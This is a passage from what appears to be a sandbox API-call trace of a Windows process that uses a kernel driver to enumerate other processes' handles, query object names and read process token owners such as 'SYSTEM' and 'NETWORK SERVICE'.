ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.855] ObfDereferenceObject (Object=0xfffffa800fdffaa0) returned 0x1 [0104.855] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.855] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.855] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.855] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0104.856] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.856] PsAcquireProcessExitSynchronization () returned 0x0 [0104.856] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff88004f095d0) [0104.856] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80029139c0, HandleInformation=0x0) returned 0x0 [0104.856] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.856] PsReleaseProcessExitSynchronization () returned 0x2 [0104.856] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x23 [0104.856] ObQueryNameString (in: Object=0xfffffa80029139c0, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.856] ObfDereferenceObject (Object=0xfffffa80029139c0) returned 0x3 [0104.856] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.856] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.856] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.856] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.856] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.856] PsAcquireProcessExitSynchronization () returned 0x0 [0104.856] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff88004f095d0) [0104.856] ObReferenceObjectByHandle (in: Handle=0xfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002913bd0, HandleInformation=0x0) returned 0x0 [0104.856] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.856] PsReleaseProcessExitSynchronization () returned 0x2 [0104.856] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x23 [0104.856] ObQueryNameString (in: Object=0xfffffa8002913bd0, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.856] ObfDereferenceObject (Object=0xfffffa8002913bd0) returned 0x3 [0104.856] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.856] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.856] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x674) returned 0xc0 [0104.856] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.856] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8003c03630, HandleInformation=0x0) returned 0x0 [0104.856] ObOpenObjectByPointer (in: Object=0xfffffa8003c03630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.856] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x36 [0104.856] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0104.857] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.857] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.857] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.857] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.858] CloseHandle (hObject=0xc8) returned 1 [0104.858] CloseHandle (hObject=0xc0) returned 1 [0104.858] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.858] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.858] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.858] PsAcquireProcessExitSynchronization () returned 0x0 [0104.858] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff88004f095d0) [0104.858] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800282e8d0, HandleInformation=0x0) returned 0x0 [0104.858] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.858] PsReleaseProcessExitSynchronization () returned 0x2 [0104.858] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0104.858] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.858] ObfDereferenceObject (Object=0xfffffa800282e8d0) returned 0x1 [0104.859] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.859] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.859] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.859] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.859] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.859] PsAcquireProcessExitSynchronization () returned 0x0 [0104.859] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff88004f095d0) [0104.859] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003c3ae60, HandleInformation=0x0) returned 0x0 [0104.859] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.859] PsReleaseProcessExitSynchronization () returned 0x2 [0104.859] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0104.859] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.859] ObfDereferenceObject (Object=0xfffffa8003c3ae60) returned 0x1 [0104.859] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.859] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.859] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.859] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.859] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.859] PsAcquireProcessExitSynchronization () returned 0x0 [0104.859] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff88004f095d0) [0104.859] ObReferenceObjectByHandle (in: Handle=0x148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800feae350, HandleInformation=0x0) returned 0x0 [0104.859] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.859] PsReleaseProcessExitSynchronization () returned 0x2 [0104.859] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0104.859] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.859] ObfDereferenceObject (Object=0xfffffa800feae350) returned 0x1 [0104.859] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.859] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.859] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.859] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0104.859] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.859] PsAcquireProcessExitSynchronization () returned 0x0 [0104.859] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff88004f095d0) [0104.860] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800cabbea0, HandleInformation=0x0) returned 0x0 [0104.860] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.860] PsReleaseProcessExitSynchronization () returned 0x2 [0104.860] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0104.860] ObQueryNameString (in: Object=0xfffffa800281b200, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.860] ObfDereferenceObject (Object=0xfffffa800cabbea0) returned 0x1 [0104.860] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.860] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.860] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.860] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.860] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.860] PsAcquireProcessExitSynchronization () returned 0x0 [0104.860] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff88004f095d0) [0104.860] ObReferenceObjectByHandle (in: Handle=0x214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.860] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.860] PsReleaseProcessExitSynchronization () returned 0x2 [0104.860] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0104.860] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.860] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0104.860] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.860] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.860] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x738) returned 0xc0 [0104.860] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.860] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8003c04ab0, HandleInformation=0x0) returned 0x0 [0104.860] ObOpenObjectByPointer (in: Object=0xfffffa8003c04ab0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.860] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaf [0104.860] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0104.860] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.860] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.860] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.860] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.862] CloseHandle (hObject=0xc8) returned 1 [0104.862] CloseHandle (hObject=0xc0) returned 1 [0104.862] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.862] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.862] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.862] PsAcquireProcessExitSynchronization () returned 0x0 [0104.862] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0) [0104.862] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80029137b0, HandleInformation=0x0) returned 0x0 [0104.862] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.862] PsReleaseProcessExitSynchronization () returned 0x2 [0104.862] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0104.862] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.862] ObfDereferenceObject (Object=0xfffffa80029137b0) returned 0x1 [0104.862] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.862] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.862] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.862] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.862] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.862] PsAcquireProcessExitSynchronization () returned 0x0 [0104.862] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0) [0104.862] ObReferenceObjectByHandle (in: Handle=0x60, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800fdff470, HandleInformation=0x0) returned 0x0 [0104.862] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.862] PsReleaseProcessExitSynchronization () returned 0x2 [0104.862] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0104.862] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.862] ObfDereferenceObject (Object=0xfffffa800fdff470) returned 0x1 [0104.862] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.863] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.863] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.863] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0104.863] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.863] PsAcquireProcessExitSynchronization () returned 0x0 [0104.863] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0) [0104.863] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0104.863] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.863] PsReleaseProcessExitSynchronization () returned 0x2 [0104.863] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0104.863] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.863] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0104.863] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.863] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.863] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.863] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xca, lpOverlapped=0x0) returned 1 [0104.863] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.863] PsAcquireProcessExitSynchronization () returned 0x0 [0104.863] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0) [0104.863] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800eb5bbc0, HandleInformation=0x0) returned 0x0 [0104.863] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.863] PsReleaseProcessExitSynchronization () returned 0x2 [0104.863] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0104.863] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.863] ObfDereferenceObject (Object=0xfffffa800eb5bbc0) returned 0x21 [0104.863] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.863] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.863] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.863] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.863] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.863] PsAcquireProcessExitSynchronization () returned 0x0 [0104.864] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0) [0104.864] ObReferenceObjectByHandle (in: Handle=0x270, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002254f20, HandleInformation=0x0) returned 0x0 [0104.864] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.864] PsReleaseProcessExitSynchronization () returned 0x2 [0104.864] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0104.864] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.864] ObfDereferenceObject (Object=0xfffffa8002254f20) returned 0x1 [0104.864] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.864] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.864] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.864] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0104.864] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.864] PsAcquireProcessExitSynchronization () returned 0x0 [0104.864] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0) [0104.864] ObReferenceObjectByHandle (in: Handle=0x390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800193d340, HandleInformation=0x0) returned 0x0 [0104.864] 